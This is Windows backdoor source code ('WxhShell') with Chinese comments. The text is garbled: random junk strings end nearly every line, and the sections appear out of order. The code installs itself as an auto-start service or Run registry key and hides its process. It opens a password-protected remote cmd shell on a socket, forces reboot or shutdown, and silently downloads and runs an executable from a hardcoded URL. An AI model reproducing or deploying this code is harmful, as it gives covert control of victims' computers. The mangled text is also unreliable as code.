    if(Boot(SHUTDOWN)) 4m/L5W:K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J<7nOB}OD  
    else { K]Q1VfeL=  
    closesocket(wsh);  /w(t=Y  
    ExitThread(0); 7vK}aOs0  
    } }m-+EUEo9  
    break; )Ft>X9$  
    } d##'0yg   
  // 获取shell UmA'aq  
  case 's': { C)0JcM  
    CmdShell(wsh); U~{sJwB  
    closesocket(wsh); y Ide]  
    ExitThread(0); 7Ust7%  
    break; sVT\e*4m}  
  } Kj*:G!r0.:  
  // 退出 %%k`+nK~  
  case 'x': { {K+]^M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lnRbvulH  
    CloseIt(wsh); MIWI0bnf  
    break; ,W~a%8*  
    } ADN  
  // 离开 m=%WA5c?  
  case 'q': { Ptv=Bwg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 28PT1 9&  
    closesocket(wsh);  k/}E(_e  
    WSACleanup(); POc-`]6 <F  
    exit(1); Q:!.YSB  
    break; M }tr*L  
        } CZ_ (IT7  
  } O[#pB. 4  
  } IH0qx_;P&  
BF>3CW7  
  // 提示信息 3 ~^}R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &5F@u IA  
} mkOj&Q  
  } 9DP6g<>B  
,Q8)r0c  
  return; fu?Y'Qet  
} RzLbPSTQ  
Ok&u4'<  
// shell模块句柄 w6[uM%fHG  
int CmdShell(SOCKET sock) `l8^n0-  
{ Upkw.`D`  
STARTUPINFO si; 6@@J>S>  
ZeroMemory(&si,sizeof(si)); Z &R{jQ,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :3Hr: ~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wWR9dsB.;  
PROCESS_INFORMATION ProcessInfo; @9<MW  
char cmdline[]="cmd"; K\]ey;Bd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6?v)Hb}J%d  
  return 0; s'|^6/  
} AHre#$`97  
L0O},O  
// 自身启动模式 S+EC!;@Xg  
int StartFromService(void) -h<Rby  
{ _PeBV<  
typedef struct NbtNu$%t  
{ O7z -4r  
  DWORD ExitStatus; U`fxe`nVa  
  DWORD PebBaseAddress; ]Kb3'je  
  DWORD AffinityMask; &\, ZtaB  
  DWORD BasePriority; H%:~&_D  
  ULONG UniqueProcessId; 8'B   
  ULONG InheritedFromUniqueProcessId; 1]uHaI(  
}   PROCESS_BASIC_INFORMATION; _n;V iQMu  
3G7Qo  
PROCNTQSIP NtQueryInformationProcess; OK}+:Y  
Zn`vL52_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; } 1 >i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; YI*Av+Z)  
h)qapC5z,  
  HANDLE             hProcess; sKT GZA  
  PROCESS_BASIC_INFORMATION pbi; )0I;+9:D=  
D20n'>ddg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E|jbbCZy2  
  if(NULL == hInst ) return 0;  v NJ!d  
ta-kqt!'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jJF(*D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /M;A)z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MR@*09zP(?  
 OBCRZ   
  if (!NtQueryInformationProcess) return 0; 4M&6q(389  
M"eiKX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ytXXZ`  
  if(!hProcess) return 0; QDg\GA8|  
\y9( b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HV ^*_  
+8 avA:o  
  CloseHandle(hProcess); $DOBC@xxzT  
[C]u!\(IF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G#&R/Tc5N  
if(hProcess==NULL) return 0; jMvWS71  
Jm|eZDp  
HMODULE hMod; Vb`m3  
char procName[255]; 0# D4;v  
unsigned long cbNeeded; vt" 7[!O  
0\*6U H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %z&=A%'a  
AK/_^?zAs  
  CloseHandle(hProcess); xA-O?s"CY  
RSLMO8  
if(strstr(procName,"services")) return 1; // 以服务启动 Jp<Y2-  
VQ/<MY C  
  return 0; // 注册表启动 |.x |BJ  
} ;=IGl:  
.FS`Fh;  
// 主模块 vt3yCS  
int StartWxhshell(LPSTR lpCmdLine) w6M EY"<L  
{ G(-1"7  
  SOCKET wsl; *5bKJgwJ  
BOOL val=TRUE; %G& Zm$u=  
  int port=0; }kaU0 P  
  struct sockaddr_in door; = X?jId{  
s5X .(;+  
  if(wscfg.ws_autoins) Install(); \7QAk4I~  
R<+K&_  
port=atoi(lpCmdLine); ]:B|_| H  
jOppru5U  
if(port<=0) port=wscfg.ws_port; H[ DrG6GA  
T.vkGB=QZ%  
  WSADATA data; 1'dL8Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *7'}"@@  
`k}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1k2+eI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :?VM1!~ga  
  door.sin_family = AF_INET; E4^zW_|xE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z_oBZs  
  door.sin_port = htons(port); g|r:+%,M  
RzG<&a3B3s  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )6# i>c-  
closesocket(wsl); 8'Eu6H&$G  
return 1; ZW$PJmz  
} rAK}rNxI  
L`%v#R  
  if(listen(wsl,2) == INVALID_SOCKET) { 9|Cu2  
closesocket(wsl); w\ U fq  
return 1; I^pD=1Y]  
} /jdq7CF  
  Wxhshell(wsl); B1]dub9  
  WSACleanup(); V#:`:-$$+  
{c|=L@/  
return 0; %a;N)1/  
:zk69P3  
} V 45\.V  
P%hi*0pwZ  
// 以NT服务方式启动 v:c_q]z#B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hm=E~wv'L  
{ ;6g&_6  
DWORD   status = 0; <QGf9{m  
  DWORD   specificError = 0xfffffff; O mkl|l9  
wV- kB4^4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /79_3;^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9*gD;)!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PT7L65  
  serviceStatus.dwWin32ExitCode     = 0; "wi=aV9j  
  serviceStatus.dwServiceSpecificExitCode = 0; Iy\{)+}aS  
  serviceStatus.dwCheckPoint       = 0; pCOr{I\  
  serviceStatus.dwWaitHint       = 0; =k#SQ/@  
L 0?-W%$>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L Of0_g/  
  if (hServiceStatusHandle==0) return; f S50  
KUG\C\z6=  
status = GetLastError();  l`x;Og>a  
  if (status!=NO_ERROR) nmlQ-V-  
{ : [o0Va2 d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k23*F0Dv  
    serviceStatus.dwCheckPoint       = 0; Vk/CV2  
    serviceStatus.dwWaitHint       = 0; mAkR<\?iTF  
    serviceStatus.dwWin32ExitCode     = status; *Z*4L|zT  
    serviceStatus.dwServiceSpecificExitCode = specificError; [ay~l%x  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }Wf\\  
    return; 1{B^RR.  
  } Fj<#*2{]B  
"G\OKt'Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HCHZB*r[  
  serviceStatus.dwCheckPoint       = 0; Fw!CssW  
  serviceStatus.dwWaitHint       = 0; @}:}7R6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nd(O;XBI  
} Ay'2! K,I  
u(B0X=B  
// 处理NT服务事件,比如:启动、停止 V_JM@VN}Kk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t0XM#9L  
{ *i#m5f}  
switch(fdwControl) 1<RB}M  
{ n5i#GvO^  
case SERVICE_CONTROL_STOP: MsMNP[-l  
  serviceStatus.dwWin32ExitCode = 0; :Hdn&a i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2x-67_BHY=  
  serviceStatus.dwCheckPoint   = 0; Wu]D pe  
  serviceStatus.dwWaitHint     = 0; ]*a3J45  
  { (Hqy^EOZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V3&_ST  
  } _idTsd:\  
  return; O-r,&W  
case SERVICE_CONTROL_PAUSE: j_ dCy  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HE0UcP1U  
  break; 6]#pPk8[Z  
case SERVICE_CONTROL_CONTINUE: w8M,35b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F;l*@y Tq  
  break; n!5 :I#B  
case SERVICE_CONTROL_INTERROGATE: ]t-_.E )F  
  break; {] 1+01vI-  
}; |IL..C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MY1 1 5%  
} t(FI Bf3  
y21zaQ  
// 标准应用程序主函数 D~W1["[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~ow_&ftlo  
{ 9mW95YI S  
I%]L  
// 获取操作系统版本 $Il?[4FF  
OsIsNt=GetOsVer(); ~Aul 7[IH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W$=MuF7R  
C<Q;3w`#1j  
  // 从命令行安装 Tl9KL%9  
  if(strpbrk(lpCmdLine,"iI")) Install(); _MfXN$I?}  
g+Z~"O]$M  
  // 下载执行文件 &Pu}"M$[MH  
if(wscfg.ws_downexe) { SB R=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A7!!kR":  
  WinExec(wscfg.ws_filenam,SW_HIDE); :=u Ku'~  
} c}K>#{YeB  
R(Y4nw+Y-  
if(!OsIsNt) { Jybx'vZj  
// 如果时win9x,隐藏进程并且设置为注册表启动 >(Mu9ie*`  
HideProc(); bgs2~50  
StartWxhshell(lpCmdLine); Ym~*5|  
} KF&1Y>t=  
else .iFd  
  if(StartFromService()) |7XV! D!\g  
  // 以服务方式启动 DuJbWtA  
  StartServiceCtrlDispatcher(DispatchTable); ,&$w*D%  
else S EdNH.|I  
  // 普通方式启动 7XLz Ewa  
  StartWxhshell(lpCmdLine); 6@_Vg~=S  
g:bw;6^ u  
return 0; ^M60#gJ  
} u\gPx4]4c  
_bp9UJ  
NWCJ|  
Wt2+D{@8  
=========================================== "]|I;I"b  
6X{RcX]/  
.s7Cr0^k,|  
sG{hUsPa  
[hU5ooB  
VY }?Nb<&  
" Y/Yp+W6n  
.0$$H"t  
#include <stdio.h> .<8kDyi m  
#include <string.h> ,#Y>nP0  
#include <windows.h> 595P04  
#include <winsock2.h> J6}J/  
#include <winsvc.h> 'Dl31w%:  
#include <urlmon.h> bbevy!m  
{1 fva^O  
#pragma comment (lib, "Ws2_32.lib") qH(3Z^#.|  
#pragma comment (lib, "urlmon.lib") 871taL=  
J{Fu8  
#define MAX_USER   100 // 最大客户端连接数 r|[uR$|Y  
#define BUF_SOCK   200 // sock buffer afEhC0j  
#define KEY_BUFF   255 // 输入 buffer '{9nQ DgT  
1muB* O  
#define REBOOT     0   // 重启 'yG9Rt  
#define SHUTDOWN   1   // 关机 fv?vO2nj  
(9bFIvMc  
#define DEF_PORT   5000 // 监听端口 !9+xKr99  
a!ao{8#  
#define REG_LEN     16   // 注册表键长度 "?E>rWz  
#define SVC_LEN     80   // NT服务名长度 jcNY W_G  
~5e)h_y  
// 从dll定义API >q{E9.~b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); AN ;SRl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .H,v7L,~88  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uzA"+cV5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U2  0@B`<  
I@x^`^+l  
// wxhshell配置信息 l_ /q/8-l  
struct WSCFG { go^?F- dZ  
  int ws_port;         // 监听端口 IyvJwrO  
  char ws_passstr[REG_LEN]; // 口令 f=%k9Y*)  
  int ws_autoins;       // 安装标记, 1=yes 0=no <1~5l ~  
  char ws_regname[REG_LEN]; // 注册表键名 NijvFT$V1  
  char ws_svcname[REG_LEN]; // 服务名 ~Dsz9  f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,U9gg-.Lp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0Q]@T@F.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eq)8V x0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A|!u`^p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |> mx*G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  [wS~.  
6 Fz?'Xf  
}; WJ)( *1  
E3X6-J|  
// default Wxhshell configuration NbPv>/r  
struct WSCFG wscfg={DEF_PORT, 34lt?6%j  
    "xuhuanlingzhe", Qo7]fnnaV  
    1, /ekeU+j  
    "Wxhshell", 1+\ZLy!5:  
    "Wxhshell", 04eE\%?  
            "WxhShell Service",  "5\<.  
    "Wrsky Windows CmdShell Service", G 2L?j   
    "Please Input Your Password: ", L8"0o 0-  
  1, ]F:5-[V#  
  "http://www.wrsky.com/wxhshell.exe", h`X>b/V  
  "Wxhshell.exe" Z]H`s{3  
    }; N;4tvWI  
k)+2+hX&>  
// 消息定义模块 q$>/~aVM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F2QX ^*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &gdtI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U&W{;myt  
char *msg_ws_ext="\n\rExit."; y_bb//IAG  
char *msg_ws_end="\n\rQuit."; o#wDA0T  
char *msg_ws_boot="\n\rReboot..."; 6ybpPls  
char *msg_ws_poff="\n\rShutdown..."; SF?Ublc!   
char *msg_ws_down="\n\rSave to "; [UqJ3@>  
L`v7|!X  
char *msg_ws_err="\n\rErr!"; Oy>u/g~  
char *msg_ws_ok="\n\rOK!"; DQ'yFPE  
&p>VTD  
char ExeFile[MAX_PATH]; ~y@,d  
int nUser = 0; yQ5F'.m9e  
HANDLE handles[MAX_USER]; ? OrRTRW  
int OsIsNt; f=0U&~  
H^UuT  
SERVICE_STATUS       serviceStatus; bB01aiUw@l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m0I/X$-Cl5  
\4;}S&`k  
// 函数声明 G$b*N4yR  
int Install(void); TiiMX  
int Uninstall(void); ?f{{{0$S  
int DownloadFile(char *sURL, SOCKET wsh); u,]?_bK)  
int Boot(int flag); {9(#X]'  
void HideProc(void); RLuA^ONI  
int GetOsVer(void); X%ii z  
int Wxhshell(SOCKET wsl); Oj6PmUK4  
void TalkWithClient(void *cs); n)]]g3y2  
int CmdShell(SOCKET sock); <PCa37  
int StartFromService(void); #SNwSx&  
int StartWxhshell(LPSTR lpCmdLine); oqu; D'8  
)n8(U%q$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); //9M~qHa"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !JZ)6mtlr  
y7)s0g>%H  
// 数据结构和表定义 (8bo"{zI  
SERVICE_TABLE_ENTRY DispatchTable[] = i vy+e-)  
{ s zgq7  
{wscfg.ws_svcname, NTServiceMain}, s d -5AE  
{NULL, NULL} ["N{6d&Q  
}; qo2/?]  
/%W&zd=%#  
// 自我安装 >lZ9Y{Y4v  
int Install(void) !U}dYB:O  
{ .c#G0t<i[  
  char svExeFile[MAX_PATH]; }bwH(OOS  
  HKEY key; Bismd21F6=  
  strcpy(svExeFile,ExeFile); LEnm6  
5v&mK 5zZ  
// 如果是win9x系统,修改注册表设为自启动 lPA:aHcj  
if(!OsIsNt) { >]DnEF&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @.JhL[f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @EPO\\C"f  
  RegCloseKey(key); P)VysYb?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %!_okf   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IhIPy~Hgt  
  RegCloseKey(key); GwHp@_>  
  return 0; J|vriI;  
    } Mp8BilH-T  
  } lO?dI=}]  
} 0taopDi ;d  
else { aTJs.y -I~  
?V3kIb  
// 如果是NT以上系统,安装为系统服务 } v#Tm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); La$*)qD,  
if (schSCManager!=0) 1trk  
{ 4g^nhJP$  
  SC_HANDLE schService = CreateService $@H]0<3,  
  ( Qw&It  
  schSCManager, MiB"CcU  
  wscfg.ws_svcname, u$A*Vsmr  
  wscfg.ws_svcdisp, |&O7F;/_  
  SERVICE_ALL_ACCESS, z: x|;Ps!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *|Cmm>z"7  
  SERVICE_AUTO_START, :?LUv:G  
  SERVICE_ERROR_NORMAL, Ne6]?\Z  
  svExeFile, !1g2'  
  NULL, <,r(^Ntz  
  NULL, C7|z DJ_  
  NULL, EX]LH({?+L  
  NULL, 5~AK+6Za  
  NULL r-Nv<oH;  
  ); ~7$NVKE  
  if (schService!=0) z%$,F9/  
  { h]|E,!H  
  CloseServiceHandle(schService); Z?IwR  
  CloseServiceHandle(schSCManager); GqYE=Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (]wd8M  
  strcat(svExeFile,wscfg.ws_svcname); .?C-J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cjTV~(i'4A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); . fZ*N/  
  RegCloseKey(key); AD_aI %7  
  return 0; v61'fQ1Qg!  
    } q6xm#Fd'.  
  } 3_AVJv ;N  
  CloseServiceHandle(schSCManager); 4tv}5llSG  
} DOk(5gR  
} _]g?3Gw7!  
;@I4[4ph}  
return 1; t%xD epFQ  
} w_O3];  
ynWF Y<VX  
// 自我卸载 v5aHe_?lp  
int Uninstall(void) ,qo"i7c{:  
{ 9ZKB,  
  HKEY key; y":Y$v,P  
.Xq4QR .  
if(!OsIsNt) { Stw%OP@?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .BaU}-5  
  RegDeleteValue(key,wscfg.ws_regname); Pz=x$aY  
  RegCloseKey(key); )QeXA )  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D^R=  
  RegDeleteValue(key,wscfg.ws_regname); tH7@oV;  
  RegCloseKey(key); YlF<S49loC  
  return 0; =.*+c\  
  } ~M>EB6  
} -#9Hb.Q;  
} st|;] q9?  
else { |oYqkP|  
'G6M:IXno  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Nb[zm|.  
if (schSCManager!=0) aGl*h" &  
{ Sr9)i8x{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZSB_OS[N  
  if (schService!=0) X {["4  
  { l6YToYzE2  
  if(DeleteService(schService)!=0) { *5kQ6#l  
  CloseServiceHandle(schService); N2 vA/  
  CloseServiceHandle(schSCManager); _kgGz@/p  
  return 0; `oDs]90  
  } sHt PO[h  
  CloseServiceHandle(schService); ;8?i  
  } ~v /NG  
  CloseServiceHandle(schSCManager); qIO<\Y l  
} s,tZi6Z=%E  
} ]bPj%sb*@  
zK*zT$<l  
return 1; `|t X[':  
} ? iX1;c9  
AGH7z  
// 从指定url下载文件 SO~]aFoYt  
int DownloadFile(char *sURL, SOCKET wsh) t *8k3"  
{ a\UhOPFF  
  HRESULT hr; u{H'evv0O  
char seps[]= "/"; 3@d{C^\  
char *token; 0%K/gd#S<  
char *file; c*5y8k  
char myURL[MAX_PATH]; ~If{`zWoC  
char myFILE[MAX_PATH]; IQ&o%   
+c8cyx:^f  
strcpy(myURL,sURL); 9JG9;[  
  token=strtok(myURL,seps); vP_V%5~yN  
  while(token!=NULL) /SXms'C  
  { -<R"  
    file=token; L\:f#b~W  
  token=strtok(NULL,seps); `]+-z +  
  } H1FD|Q3  
r35'U#VMk?  
GetCurrentDirectory(MAX_PATH,myFILE); ~miRnW*x  
strcat(myFILE, "\\"); x/7d!>#;  
strcat(myFILE, file); P ~pC /z  
  send(wsh,myFILE,strlen(myFILE),0); &ye,A(4  
send(wsh,"...",3,0); 7]i=eD8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X_j=u1*5  
  if(hr==S_OK) 3eqVY0q  
return 0; vlHE\%{  
else x6d0yJ <  
return 1; h`_@eax  
@V9qbr= Z  
} /7bIE!Cn  
M~6x&|2  
// 系统电源模块 /c`s$h4-  
int Boot(int flag) Cb{n4xKW6  
{ SM<kR1bo  
  HANDLE hToken; eX+FtN  
  TOKEN_PRIVILEGES tkp; rvdhfM!-A  
[i8,rOa7  
  if(OsIsNt) { FUq>+U!Qu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uV\ _j3,2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d1MVhE  
    tkp.PrivilegeCount = 1; K*ZH<@o4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LX i?FQnLu  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :4{;^|RgU  
if(flag==REBOOT) { 'G.^g}N1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !A.Kb74  
  return 0; ]h Dy]  
} b),_rr  
else { F(-1m A&-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S`!MoIMsD  
  return 0; 6Y#V;/gK!5  
} \Oku<5  
  } ]^>#?yEA3  
  else { 33R_JM{  
if(flag==REBOOT) { /,>@+^1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~-"<)XPe  
  return 0;  >%~E <  
} +2}aCoL\  
else { ,| \62B`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c{iF  
  return 0; $WOiXLyCk  
} X(b"b:j'  
} E !a5-SrR  
"S">#.L  
return 1; JD\:bI  
} v{R:F  
.] S{T  
// win9x进程隐藏模块 0@ -3U{Q  
void HideProc(void) \X'{ ee  
{ a"!D @a  
]Z@+ |&@L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7R$]BY=  
  if ( hKernel != NULL ) O_PKS$sz{  
  { l )hg!(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VTDp9s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nUAs:Q  
    FreeLibrary(hKernel); \XG18V&  
  } %H-(-v^T*  
#-QQ_  
return; bS0z\!1  
} l_G&#sQ0  
zH0{S.3 k  
// 获取操作系统版本 lC/4CPKtV  
int GetOsVer(void) QE:%uT  
{ Q7ez?]j6  
  OSVERSIONINFO winfo; aB`x5vg7ho  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^,Sl^ 9K  
  GetVersionEx(&winfo); Q( WE.ux)<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K%Sy~6iD&  
  return 1; =Vgj=19X(  
  else xK`.^W  
  return 0; Unl6?_  
} _&/FO{F@m  
va(ZGGS]N  
// 客户端句柄模块 ]M"l-A  
int Wxhshell(SOCKET wsl) cVzOW|NVx  
{ mSWh'1]b.~  
  SOCKET wsh; fbbk;Rq.'3  
  struct sockaddr_in client; x)X=sX.  
  DWORD myID; eBD7g-  
 oQrkd:  
  while(nUser<MAX_USER) T~nmEap  
{ ZaCUc Px  
  int nSize=sizeof(client); G<1awi  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xDf<@  
  if(wsh==INVALID_SOCKET) return 1; 6%mF iX  
SX$Nef9p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^9})@,(D  
if(handles[nUser]==0) ^ fo2sN"   
  closesocket(wsh); [!@&t:A  
else *k$":A  
  nUser++; `-l, `7e'  
  } q@;z((45  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ''9FB5  
k1A64?p  
  return 0; a95QDz  
} QR!8n  
bDLPA27  
// 关闭 socket }gE?ms4$  
void CloseIt(SOCKET wsh) O k-*xd  
{ Az_s"}G  
closesocket(wsh); 3pSkk  
nUser--; Q\H_lB  
ExitThread(0); : "[dr~.  
} M <3P  
XYbc1+C  
// 客户端请求句柄 _)q,:g~fu  
void TalkWithClient(void *cs) d7xd"  
{ 1D /{Y  
+U(m b  
  SOCKET wsh=(SOCKET)cs; O -a`A.  
  char pwd[SVC_LEN]; Kt,ENbF  
  char cmd[KEY_BUFF]; e]\{ Ia  
char chr[1]; aqTMOWyeu  
int i,j; EUv xil  
} k[gR I]  
  while (nUser < MAX_USER) { qDqgU  
`>@n6>f  
if(wscfg.ws_passstr) { Pv.z~~l Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $u"t/_%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =sG9]a<I  
  //ZeroMemory(pwd,KEY_BUFF); ]M|Iy~ X   
      i=0; +jcg[|-' /  
  while(i<SVC_LEN) { ,+0>p  
9JHu{r"M  
  // 设置超时 6?U2Et  
  fd_set FdRead; .P[ %t=W  
  struct timeval TimeOut; "{0 o"k  
  FD_ZERO(&FdRead); p[*NekE6-  
  FD_SET(wsh,&FdRead); :tu_@3bg-  
  TimeOut.tv_sec=8; DkP%1Crdr  
  TimeOut.tv_usec=0; tlU&p'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :@6,|2b e=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h"S+8Y:1{k  
`[JX}<~i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Re <G#*^  
  pwd=chr[0]; M[ea!an  
  if(chr[0]==0xd || chr[0]==0xa) {  *$nz<?  
  pwd=0; 4_3 DQx9s  
  break; g;U f?  
  } L0{ehpvM  
  i++; B]K@'#  
    } }e/P|7&  
e2~i@vq  
  // 如果是非法用户,关闭 socket YadY?o./  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \2!v~&S  
} 7Zl- |  
hB#z8D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z6<vLc  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {0fQ"))"  
n/_cJD \  
while(1) { u 89u#gCAC  
Xp]tL3-p  
  ZeroMemory(cmd,KEY_BUFF); *N"bn'>3  
3IqYpK(s  
      // 自动支持客户端 telnet标准   %2=nS<kC  
  j=0; lgC|3]  
  while(j<KEY_BUFF) { J7R+|GTcx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :F:<{]oG_  
  cmd[j]=chr[0]; h(hb?f@1:  
  if(chr[0]==0xa || chr[0]==0xd) { `;L0ax  
  cmd[j]=0; W?m?r.K?  
  break; DXAA[hUjF  
  } :U`8s#  
  j++; 6g@@V=mf  
    } [{F8+a^  
oLcOp.8h[  
  // 下载文件 L 6){wQ%c  
  if(strstr(cmd,"http://")) { hS4Ljyeg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +%%FT#ce  
  if(DownloadFile(cmd,wsh)) NQ$tQ#chd  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D/_=rAl1  
  else ;8UHnhk_O  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v~:$]a8  
  } y: @[QhV  
  else { vVF#]t b|  
4*9y4"  
    switch(cmd[0]) { rm*Jo|eH`  
  G0Wzx)3]  
  // 帮助 Z3=DM=V;v  
  case '?': { EJYfk?(B  
